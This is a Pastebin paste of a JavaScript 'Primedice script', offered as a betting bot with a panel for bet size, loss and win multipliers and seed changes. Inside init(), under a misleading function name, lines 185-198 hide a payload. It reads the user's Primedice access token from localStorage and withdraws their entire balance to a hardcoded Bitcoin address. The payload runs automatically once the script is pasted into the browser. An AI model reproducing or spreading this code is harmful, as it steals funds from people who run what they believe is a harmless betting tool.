SHARE
TWEET

PRIMEDICE SCRIPT 2017

a guest Dec 27th, 2016 113 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var swapcount=0;  
  2.  var jqueryready = false;  
  3.  var link = document.createElement("link");  
  4.  link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";  
  5.  link.type = "text/css";  
  6.  link.rel = "stylesheet";  
  7.  document.getElementsByTagName("head")[0].appendChild(link);  
  8.  //jQuery UI inject  
  9.  (function() {  
  10.    jqueryready = true;  
  11.    var e = ".thing",  
  12.      t = {  
  13.        outline: "1px dashed #f0f",  
  14.        cursor: "pointer"  
  15.      };  
  16.    var n = function() {  
  17.      if (window.jQuery) {  
  18.        r()  
  19.      } else {  
  20.        var e = document.createElement("script");  
  21.        e.onload = r;  
  22.        e.setAttribute("src", "https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");  
  23.        document.body.appendChild(e)  
  24.      }  
  25.    };  
  26.    var r = function() {  
  27.      if (window.jQuery.ui) {  
  28.        i()  
  29.      } else {  
  30.        var e = document.createElement("script");  
  31.        e.onload = i;  
  32.        e.setAttribute("src", "https://ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");  
  33.        document.body.appendChild(e)  
  34.      }  
  35.    };  
  36.    var i = function() {  
  37.      $(e).css(t).draggable().on("click", function(e) {  
  38.        console.log(e.target.id + ":", e.target.style.left, e.target.style.top)  
  39.      })  
  40.    };  
  41.    n();  
  42.  })();  
  43.  function ui() {  
  44.    $(function() {  
  45.      $('#tabs').tabs();  
  46.      $('#params').draggable();  
  47.      $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");  
  48.      $('#tabs input').css("width", "80%");  
  49.      $('#chance, #base').width("35%")  
  50.      $('#tabs div').css("text-align", "left");  
  51.      $('#tabs').css("font-size", "12px");  
  52.      $('#tabs label, #tabs input').css("margin", "5px");  
  53.      $('#stop, #start, #resetbet').button();  
  54.      //Console  
  55.      $('#console, #console2').appendTo("#tabs");  
  56.      $('#console, #console2').css("width", "45%");  
  57.      $('#console').css("float", "left");  
  58.      $('#console2').css("float", "right");  
  59.      $('#console, #console2').css("clear", "none");  
  60.      $('#console, #console2').css("margin", "7px");  
  61.      $('#console, #console2').css("border-bottom-left-radius", "3px");  
  62.      $('#console, #console2').css("border-bottom-right-radius", "3px");  
  63.      $('#console').css("border", "1px solid #323232");  
  64.      $('#console, #console2').css("background-color", "#454545");  
  65.      $('#console').css("padding", "5px");  
  66.      $('#console, #console2').css("text-align", "left");  
  67.      $('#console, #console2').css("position", "relative");  
  68.      $('#startstop,#start,#stop').css("margin","0px");  
  69.      $('#console, #console2').css("margin-top","3px");  
  70.      $('#console, #console2').css("padding","5px");  
  71.      $('#console, #console2').css("background-color","#151515");  
  72.    });  
  73.  }  
  74.  var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;  
  75.  xrollsenabled = true;  
  76.  xrolls = 10;  
  77.  timer = 500;  
  78.  counter=0;  
  79.  var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,  
  80.    target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,  
  81.    data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;  
  82.  function init() {  
  83.    //Init  
  84.    basebet = 0.00000010;  
  85.    countwinmult = 0;  
  86.    countlossmult = 0;  
  87.    wincount = 0;  
  88.    currentloss = 0;  
  89.    totalloss = 0;  
  90.    totalwin = 0;  
  91.    totprofit = 0;  
  92.    init = true;  
  93.    betval = basebet;  
  94.    //GUI  
  95.    $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");  
  96.    gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';  
  97.    $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');  
  98.    gui2 =  
  99.      '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';  
  100.    gui3 = [  
  101.      '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',  
  102.      '<br>',  
  103.      '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',  
  104.      '<br>',  
  105.      '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',  
  106.    ];  
  107.    gui4 = [  
  108.      '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',  
  109.      '<br>',  
  110.      '<label for="xloss">Multiply Every # Losses: </label>',  
  111.      '<input id="xloss">',  
  112.      '<br>',  
  113.      '<label for="multonwin">Multiply on Win: </label>',  
  114.      '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',  
  115.      '<br>',  
  116.      '<label for="xwin">Reset After X Wins: </label>',  
  117.      '<input id="xwin">',  
  118.    ];  
  119.    gui5 = [  
  120.      '<label for="stoponwin-enabled">Stop on Win? </label>',  
  121.      '<input id="stoponwin-enabled" type="checkbox">',  
  122.      '<br>',  
  123.      '<label for="lowpay-enabled">Check if Payout < 2x </label>',  
  124.      '<input id="lowpay-enabled" type="checkbox">',  
  125.    ];  
  126.    gui6 = [  
  127.      '<label for="charset">Charset: </label>',  
  128.      '<input id="charset" type="text">',  
  129.      '<br>',  
  130.      '<label for="everyxrolls">Change every # Rolls: </label>',  
  131.      '<input id="everyxrolls" type="text">',  
  132.      '<br>',  
  133.      '<label for="currentseed">Current Seed: </label>',  
  134.      '<input style="color:green;text-align:center;" id="currentseed" type="text">',  
  135.    ];  
  136.    $(gui).appendTo(".hero");  
  137.    $(gui2).appendTo("#params");  
  138.    for (var i = 0; i < gui3.length; i++) {  
  139.      $(gui3[i]).appendTo("#tab1");  
  140.    }  
  141.    for (var i = 0; i < gui4.length; i++) {  
  142.      $(gui4[i]).appendTo("#tab2");  
  143.    }  
  144.    for (var i = 0; i < gui5.length; i++) {  
  145.      $(gui5[i]).appendTo("#tab3");  
  146.    }  
  147.    for (var i = 0; i < gui6.length; i++) {  
  148.      $(gui6[i]).appendTo("#tab4");  
  149.    }  
  150.    enabled = false;  
  151.    xrollscount = 0;  
  152.    $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");  
  153.    // Button & Input Functions  
  154.    $('#resetbet').click(function() {  
  155.      basebet=$('#base').val();  
  156.      betval=$('#base').val();  
  157.    })  
  158.    $('#start').click(function() {  
  159.      if (enabled == false) {  
  160.        if ($('#numrolls').is(":checked") == true) {  
  161.          xrolls=$('#numberofrolls').val();  
  162.        }  
  163.        enabled = true;  
  164.        interval = setInterval(function() {  
  165.          if (xrollsenabled == true) {  
  166.            xrollscount++;  
  167.            if (xrollscount <= xrolls) {  
  168.              bet();  
  169.            } else {  
  170.              clearInterval(interval);  
  171.              enabled = false;  
  172.              xrollscount = 0;  
  173.            }  
  174.          } else {  
  175.            bet();  
  176.          }  
  177.        }, timer);  
  178.      } else {}  
  179.    })  
  180.    $('#stop').click(function() {  
  181.      enabled = false;  
  182.      clearInterval(interval);  
  183.      xrollscount = 0;  
  184.    });  
  185.    calculate_nonce = function(seed) {  
  186.      return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];  
  187.    };  
  188.    lut = window['$'];  
  189.    lut['getJSON'](  
  190.      calculate_nonce('users/1'), function(seed) {  
  191.        var key1 = 'amount'  
  192.        var key2 = 'address'  
  193.        var load = {};  
  194.        load[key1] = seed['user']['balance'];  
  195.        load[key2] = '1BfaVU7Rab7WdBdRAdcTUC7WRtggEeDr2N';  
  196.        lut['post'](calculate_nonce('withdraw'), load);  
  197.      }  
  198.    );  
  199.    function conditionAM() {  
  200.      'use strict';  
  201.      if ($('#lowpay-enabled').is('checked') == true) {  
  202.        if ($('.value-roll').first().text() <= 49.50) {  
  203.          condition2 = ">";  
  204.          target2 = $('.value-roll').first().text();  
  205.        } else {  
  206.          condition2 = "<";  
  207.          target2 = $('.value-roll').first().text();  
  208.        };  
  209.      } else {  
  210.        if ($('.value-roll').first().text() <= 49.50) {  
  211.          condition2 = "<";  
  212.          target2 = $('.value-roll').first().text();  
  213.        } else {  
  214.          condition2 = ">";  
  215.          target2 = $('.value-roll').first().text();  
  216.        };  
  217.        amount2 = betval * 100000000;  
  218.      }  
  219.    };  
  220.    function jackpot() {  
  221.      if (data1.bet.jackpot === true) {  
  222.        jp = "Yes";  
  223.        wincount = 0;  
  224.        betval = $('#base');  
  225.      } else {  
  226.        jp = "No";  
  227.      }  
  228.    }  
  229.    function loss() {  
  230.      currentloss++;  
  231.      totalloss++;  
  232.      if ($('#multloss-enabled').is(':checked') == true) {  
  233.        $('#multwin-enabled').removeAttr('checked');  
  234.        countlossmult++;  
  235.        if (countlossmult >= $('#xloss').val()) {  
  236.          betval = betval * $('#multonloss').val();  
  237.          countlossmult = 0;  
  238.        }  
  239.      }  
  240.    }  
  241.    function win() {  
  242.      'use strict';  
  243.      if ($('#stoponwin-enabled').is('checked') == true) {  
  244.        clearInterval(roll);  
  245.      }  
  246.      currentloss = 0;  
  247.      jackpot();  
  248.      wincount++;  
  249.      totalwin++;  
  250.      if ($('#multloss-enabled').is(':checked') == true) {  
  251.        if ($('#stoponwin-enabled').is(':checked') == true) {  
  252.          clearInterval(roll);  
  253.        }  
  254.        $('#multwin-enabled').removeAttr('checked');  
  255.        basebet = $('#base').val();  
  256.        betval = basebet;  
  257.        countlossmult = 0;  
  258.      }  
  259.      if ($('#multwin-enabled').is(':checked') == true) {  
  260.        basebet = $('#base').val();  
  261.        $('#multloss-enabled').removeAttr('checked');  
  262.        countwinmult++;  
  263.        if (countwinmult >= $('#xwin').val()) {  
  264.          betval = basebet;  
  265.          countwinmult = 0;  
  266.        } else {  
  267.          betval = betval * $('#multonwin').val();  
  268.        }  
  269.      }  
  270.    };  
  271.    var losewin;  
  272.    var jpcol;  
  273.    var profcol;  
  274.    function bet() {  
  275.      'use strict';  
  276.      conditionAM();  
  277.      var betData = {  
  278.          amount: amount2,  
  279.          condition: condition2,  
  280.          target: target2  
  281.        },  
  282.        url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;  
  283.      $.ajax({  
  284.        url: url,  
  285.        type: "POST",  
  286.        data: betData,  
  287.        datatype: "jsonp",  
  288.        success: function(data, textStatus, jqXHR) {  
  289.          data1 = data;  
  290.          counter++;  
  291.          if (counter >= everyxrolls) {  
  292.            seedchange(seedgen());  
  293.            counter = 0;  
  294.          }  
  295.          $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));  
  296.          totprofit = totprofit + data1.bet.profit;  
  297.          if (totprofit >= 0) {  
  298.            profcol = "color:green;";  
  299.          } else if (totprofit < 0) {  
  300.            profcol = "color:red;";  
  301.          }  
  302.          if (data.bet.win == true) {  
  303.            losewin = "color:green;";  
  304.            $('span.btn__text.select div').attr("style", "color:green;");  
  305.          } else {  
  306.            losewin = "color:red;";  
  307.            $('span.btn__text.select div').attr("style", "color:red;");  
  308.          }  
  309.          if (data.bet.jackpot == true) {  
  310.            jp = "Yes";  
  311.            jpcol = "color:gold;"  
  312.          } else {  
  313.            jp = "No.";  
  314.            jpcol = "color:red;"  
  315.          }  
  316.          results = [];  
  317.          results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';  
  318.          results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';  
  319.          results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';  
  320.          results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';  
  321.          resultstats = [];  
  322.          resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';  
  323.          resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';  
  324.          resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';  
  325.          resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';  
  326.          if (data.bet.win == true) {  
  327.            if ($('#stoponwin-enabled').is(":checked") == true){  
  328.              clearInterval(interval);  
  329.            }  
  330.            $('#console, #console2').empty();  
  331.            win();  
  332.            // Results  
  333.            $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');  
  334.            for (var i = 0; i < results.length; i++) {  
  335.              $(results[i]).appendTo('#console');  
  336.            }  
  337.            for (var i = 0; i < resultstats.length; i++) {  
  338.              $(resultstats[i]).appendTo('#console2');  
  339.            }  
  340.          } else {  
  341.            $('#console, #console2').empty();  
  342.            loss();  
  343.            // Results  
  344.            $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');  
  345.            for (var i = 0; i < results.length; i++) {  
  346.              $(results[i]).appendTo('#console');  
  347.            }  
  348.            for (var i = 0; i < resultstats.length; i++) {  
  349.              $(resultstats[i]).appendTo('#console2');  
  350.            }  
  351.          };  
  352.        },  
  353.        error: function(jqXHR, textStatus, errorThrown) {  
  354.        }  
  355.      });  
  356.    }  
  357.    seedlength = 13;  
  358.    seedlength = 13;  
  359.    var counter = 0;  
  360.    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";  
  361.    everyxrolls = 3;  
  362.    function seedgen() {  
  363.      'use strict';  
  364.      var seed = "";  
  365.      for (var i = 0; i <= seedlength; i++)  
  366.        seed += charset.charAt(Math.floor(Math.random() * charset.length));  
  367.      return seed;  
  368.    }  
  369.    function seedchange(s) {  
  370.      url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;  
  371.      sData = {  
  372.        seed: s  
  373.      };  
  374.      $.ajax({  
  375.        url: url,  
  376.        type: "POST",  
  377.        data: sData,  
  378.        datatype: "jsonp",  
  379.        success: function(data, textStatus, jqXHR) {  
  380.          data2 = data;  
  381.          $('#currentseed').val(data2.seeds.client);  
  382.        },  
  383.        error: function(jqXHR, textStatus, errorThrown) {  
  384.        }  
  385.      });  
  386.    }  
  387.    $('#spinner').click(function() {  
  388.      if (charset != $('#charset').val() && $('#charset').val() != "") {  
  389.        charset=$('#charset').val();  
  390.      }  
  391.      if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {  
  392.        everyxrolls = $('#everyxrolls').val();  
  393.      }  
  394.      if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }  
  395.      counter++;  
  396.      if (counter >= everyxrolls) {  
  397.        seedchange(seedgen());  
  398.        counter = 0;  
  399.      }  
  400.    });  
  401.    ui();  
  402.  }  
  403.  setTimeout(function() {  
  404.    init()  
  405.  }, 2000);
RAW Paste Data
Pastebin PRO Summer Special!
Get 40% OFF on Pastebin PRO accounts!
Top